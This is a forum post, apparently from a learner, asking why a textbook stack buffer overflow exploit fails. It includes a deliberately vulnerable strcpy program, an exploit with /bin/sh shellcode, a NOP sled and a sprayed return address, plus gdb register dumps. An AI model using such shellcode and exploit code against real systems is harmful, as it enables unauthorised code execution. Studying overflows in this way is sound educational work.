this is just a silly buffer overflow program which when i compiled does not work! i cant understand why as everything seems to be in order (i'm using linux 2.6 kernel without - not SELinux).
copy first argument to out of bounds buffer
i generated the shellcode string by using gdb to disassemble /lib/libc.so.6 and typing in the hex codes for the execl function.
and i think my offsets to esp are correct.
assuming I have the relevant assembly, how can I generate shellcode quickly and easily? (some sort of bash script?)
also I'm not sure, but I think that strcpy isn't copying past the array bounds
and doing
notice how eip is unchanged???
the same behaviour happens even if I use something ridicolous like
?
Thanks for your time.
Code:
/*vuln.c*/
#include <string.h>
int main(int argc , char **argv)
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}
Code:
/*exploit.cpp*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
unsigned long sp()
{
asm("movl %esp , %eax");
}
int main(int argc , char **argv)
{
int i; /*looping variable*/
char buffer[601]; /*stores argv[1] for vuln*/
long ret = sp() - 500; /*vuln declared 500 chars*/
printf("esp : 0x%x\n",sp());
printf("esp offset : 0x%x\n",500);
printf("ret address : 0x%x\n",ret);
/*fill with return adress*/
for(i = 0 ; i <= 601 ; i += sizeof(long))
(long)buffer[i] = ret;
/*NOP*/
for(i = 0 ; i <= 202 ; i++)
buffer[i] = '\x90';
/*shellcode after NOP sled*/
memcpy(buffer + 202 - 1 , shellcode , strlen(shellcode));
/*fill end of array with nul for vulns strcpy*/
buffer[600] = 0;
execl("./vuln","vuln",buffer,0);
return 0;
}
and i think my offsets to esp are correct.
assuming I have the relevant assembly, how can I generate shellcode quickly and easily? (some sort of bash script?)
also I'm not sure, but I think that strcpy isn't copying past the array bounds
Code:
int main()
{
char a[4];
strcpy(a , "abc\006\006"); // last 2 chars won't fit
return 0;
}
Code:
genjix@linux:~/media/tmp> gcc main.c -g genjix@linux:~/media/tmp> gdb a.out GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483d8: file main.c, line 4. (gdb) r Starting program: /home/genjix/media/tmp/a.out Breakpoint 1, main () at main.c:4 4 strcpy(a , "abc\006\006"); // "de" won't fit (gdb) info registers eax 0x10 16 ecx 0x40045e45 1074028101 edx 0x1 1 ebx 0x40145ff4 1075077108 esp 0xbffff040 0xbffff040 ebp 0xbffff058 0xbffff058 esi 0x40016cc0 1073835200 edi 0x8048470 134513776 eip 0x80483d8 0x80483d8 eflags 0x200282 2097794 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) s 6 return 0; (gdb) info registers eax 0xbffff054 -1073745836 ecx 0xb7fb6b3b -1208259781 edx 0x804851e 134513950 ebx 0x40145ff4 1075077108 esp 0xbffff040 0xbffff040 ebp 0xbffff058 0xbffff058 esi 0x40016cc0 1073835200 edi 0x8048470 134513776 eip 0x80483ec 0x80483ec eflags 0x200282 2097794 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
the same behaviour happens even if I use something ridicolous like
Code:
"abc\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006"
Thanks for your time.
.
Comment